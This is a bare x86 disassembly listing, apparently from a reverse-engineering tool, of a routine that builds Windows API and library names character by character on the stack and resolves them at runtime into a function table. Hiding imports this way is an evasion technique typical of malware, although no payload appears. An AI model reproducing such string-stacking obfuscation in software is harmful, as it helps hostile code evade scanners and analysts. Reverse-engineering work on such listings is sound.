push 0x6d
push 0x49
push 0x64
push 0x61
push 0x6f
push 0x4c
push 0x70
mov dword [edi + 0x194], eax
push 0x69
push 0x64
lea eax, [esp + 0x6c]
push 0x47
push eax
call fcn.004105f6
add esp, 0x5c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x70
push 0x75
mov dword [edi + 0x198], eax
push ebx
push 0x72
push 0x61
push ebx
push 0x53
push 0x73
push 0x75
push 0x6c
push 0x70
push 0x69
push 0x64
lea eax, [esp + 0x50]
push 0x47
push eax
call fcn.004105f6
add esp, 0x40
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x6e
push 0x77
push 0x6f
push 0x64
push ebx
push 0x75
push 0x68
push 0x53
push 0x73
push 0x75
push 0x6c
push 0x70
mov dword [edi + 0x19c], eax
push 0x69
push 0x64
lea eax, [esp + 0x54]
push 0x47
push eax
call fcn.004105f6
add esp, 0x44
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x4c
push 0x4c
push 0x44
push 0x2e
push 0x32
push 0x33
push 0x52
mov dword [edi + 0x1a0], eax
push 0x45
push 0x53
lea eax, [esp + 0x108]
push 0x55
push eax
call fcn.004105f6
add esp, 0x30
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0x64
push 0x49
push 0x73
push 0x73
push ebp
push 0x63
push 0x6f
push 0x72
push 0x50
push 0x64
push 0x61
push ebp
push 0x72
push 0x68
push 0x54
mov dword [esp + 0x50], eax
push 0x77
push 0x6f
push 0x64
push 0x6e
push 0x69
push 0x57
push ebx
push ebp
lea eax, [esp + 0x78]
push 0x47
push eax
call fcn.004105f6
add esp, 0x68
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x78
push 0x45
push 0x73
push 0x77
push 0x6f
push 0x64
push 0x6e
push 0x69
push 0x57
push ebx
mov dword [edi + 0x1a4], eax
push 0x69
push 0x78
lea eax, [esp + 0x4c]
push 0x45
push eax
call fcn.004105f6
add esp, 0x3c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebx
push 0x78
push ebp
push 0x54
push 0x77
push 0x6f
push 0x64
push 0x6e
push 0x69
push 0x57
mov dword [edi + 0x1a8], eax
push ebx
push ebp
lea eax, [esp + 0x50]
push 0x47
push eax
call fcn.004105f6
add esp, 0x40
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push 0x67
push 0x6e
push 0x6f
push 0x4c
push 0x77
push 0x6f
push 0x64
push 0x6e
push 0x69
push 0x57
mov dword [edi + 0x1ac], eax
push ebx
push ebp
lea eax, [esp + 0x50]
push 0x47
push eax
call fcn.004105f6
add esp, 0x40
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x77
push 0x6f
push 0x64
push 0x6e
push 0x69
push 0x57
mov dword [edi + 0x1b0], eax
push ebx
push ebp
lea eax, [esp + 0x3c]
push 0x47
push eax
call fcn.004105f6
add esp, 0x2c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x77
push 0x6f
push 0x64
push 0x6e
push 0x69
push 0x57
push 0x70
push 0x6f
push ebx
push 0x6b
push 0x73
push ebp
push 0x44
mov dword [edi + 0x1b4], eax
push ebx
push ebp
lea eax, [esp + 0x58]
push 0x47
push eax
call fcn.004105f6
add esp, 0x48
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebp
push 0x67
push 0x61
push 0x73
push 0x73
push ebp
push 0x4d
push ebx
mov dword [edi + 0x1b8], eax
push 0x73
push 0x6f
lea eax, [esp + 0x48]
push 0x50
push eax
call fcn.004105f6
add esp, 0x38
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push 0x77
push 0x6f
push 0x64
push 0x6e
mov dword [edi + 0x1bc], eax
push 0x69
push 0x57
push 0x64
push 0x6e
push 0x69
lea eax, [esp + 0x44]
push 0x46
push eax
call fcn.004105f6
add esp, 0x34
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x73
push 0x63
push 0x69
push 0x72
push ebx
push ebp
push 0x4d
push 0x6d
push ebp
push ebx
push 0x73
push 0x79
push 0x53
mov dword [edi + 0x1c0], eax
push ebx
push ebp
lea eax, [esp + 0x58]
push 0x47
push eax
call fcn.004105f6
add esp, 0x48
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x77
push 0x6f
push 0x64
push 0x6e
push 0x69
push 0x57
push 0x79
push 0x6f
push 0x72
push ebx
mov dword [edi + 0x1c4], eax
push 0x73
push ebp
lea eax, [esp + 0x4c]
push 0x44
push eax
call fcn.004105f6
add esp, 0x3c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebp
push 0x67
push 0x61
push 0x73
push 0x73
push ebp
push 0x4d
push 0x64
mov dword [edi + 0x1c8], eax
push 0x6e
push ebp
lea eax, [esp + 0x48]
push 0x53
push eax
call fcn.004105f6
add esp, 0x38
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x77
push 0x6f
push 0x64
push 0x6e
push 0x69
mov dword [edi + 0x1cc], eax
push 0x57
push 0x73
lea eax, [esp + 0x38]
push 0x49
push eax
call fcn.004105f6
add esp, 0x28
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebp
push 0x67
push 0x61
push 0x73
push 0x73
push ebp
push 0x4d
push 0x64
push 0x61
push ebp
push 0x72
push 0x68
push 0x54
push ebx
mov dword [edi + 0x1d0], eax
push 0x73
push 0x6f
lea eax, [esp + 0x60]
push 0x50
push eax
call fcn.004105f6
add esp, 0x50
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebp
push 0x67
push 0x61
push 0x73
push 0x73
push ebp
push 0x4d
mov dword [edi + 0x1d4], eax
push ebx
push ebp
lea eax, [esp + 0x44]
push 0x47
push eax
call fcn.004105f6
add esp, 0x34
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x4c
push 0x4c
push 0x44
push 0x2e
push 0x54
push 0x52
push 0x43
push 0x56
mov dword [edi + 0x1d8], eax
push 0x53
lea eax, [esp + 0x108]
push 0x4d
push eax
call fcn.004105f6
add esp, 0x30
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0x66
push ebx
push 0x6e
push 0x69
mov dword [esp + 0x24], eax
push 0x72
push 0x70
lea eax, [esp + 0x34]
push 0x73
push eax
call fcn.004105f6
add esp, 0x24
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x70
push 0x6d
push 0x63
mov dword [edi + 0x1dc], eax
push 0x72
push ebx
lea eax, [esp + 0x30]
push 0x73
push eax
call fcn.004105f6
add esp, 0x20
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x72
push ebx
push 0x73
mov dword [edi + 0x1e0], eax
push 0x72
push ebx
lea eax, [esp + 0x30]
push 0x73
push eax
call fcn.004105f6
add esp, 0x20
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x79
push 0x70
push 0x63
mov dword [edi + 0x1e4], eax
push 0x72
push ebx
lea eax, [esp + 0x30]
push 0x73
push eax
call fcn.004105f6
add esp, 0x20
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x72
push 0x68
push 0x63
push 0x72
push 0x72
mov dword [edi + 0x1e8], eax
push ebx
lea eax, [esp + 0x34]
push 0x73
push eax
call fcn.004105f6
add esp, 0x24
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x6e
push ebp
push 0x6c
mov dword [edi + 0x1ec], eax
push 0x72
push ebx
lea eax, [esp + 0x30]
push 0x73
push eax
call fcn.004105f6
add esp, 0x20
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x72
push 0x68
push 0x63
mov dword [edi + 0x1f0], eax
push 0x72
push ebx
lea eax, [esp + 0x30]
push 0x73
push eax
call fcn.004105f6
add esp, 0x20
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x70
push 0x6d
push 0x63
mov dword [edi + 0x1f4], eax
push 0x6d
push ebp
lea eax, [esp + 0x30]
push 0x6d
push eax
call fcn.004105f6
add esp, 0x20
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x64
push 0x6e
mov dword [edi + 0x1f8], eax
push 0x61
push 0x72
lea eax, [esp + 0x2c]
push 0x73
push eax
call fcn.004105f6
add esp, 0x1c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x64
mov dword [edi + 0x1fc], eax
push 0x6e
push 0x61
lea eax, [esp + 0x28]
push 0x72
push eax
call fcn.004105f6
add esp, 0x18
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x70
push 0x6d
push 0x63
mov dword [edi + 0x200], eax
push 0x73
push 0x63
lea eax, [esp + 0x30]
push 0x77
push eax
call fcn.004105f6
add esp, 0x20
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
mov dword [edi + 0x204], eax
push 0x77
push 0x6f
lea eax, [esp + 0x24]
push 0x70
push eax
call fcn.004105f6
add esp, 0x14
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x72
push 0x70
push 0x75
push 0x72
mov dword [edi + 0x208], eax
push ebx
push 0x73
lea eax, [esp + 0x34]
push 0x5f
push eax
call fcn.004105f6
add esp, 0x24
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x72
push 0x77
push 0x6c
push 0x72
mov dword [edi + 0x20c], eax
push ebx
push 0x73
lea eax, [esp + 0x34]
push 0x5f
push eax
call fcn.004105f6
add esp, 0x24
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebx
push ebp
push 0x73
push 0x72
mov dword [edi + 0x210], eax
push ebx
push 0x73
lea eax, [esp + 0x34]
push 0x5f
push eax
call fcn.004105f6
add esp, 0x24
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebx
push 0x61
push 0x63
mov dword [edi + 0x214], eax
push 0x72
push ebx
lea eax, [esp + 0x30]
push 0x73
push eax
call fcn.004105f6
add esp, 0x20
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebx
push ebp
push 0x73
mov dword [edi + 0x218], eax
push 0x6d
push ebp
lea eax, [esp + 0x30]
push 0x6d
push eax
call fcn.004105f6
add esp, 0x20
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
mov dword [edi + 0x21c], eax
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x134
ret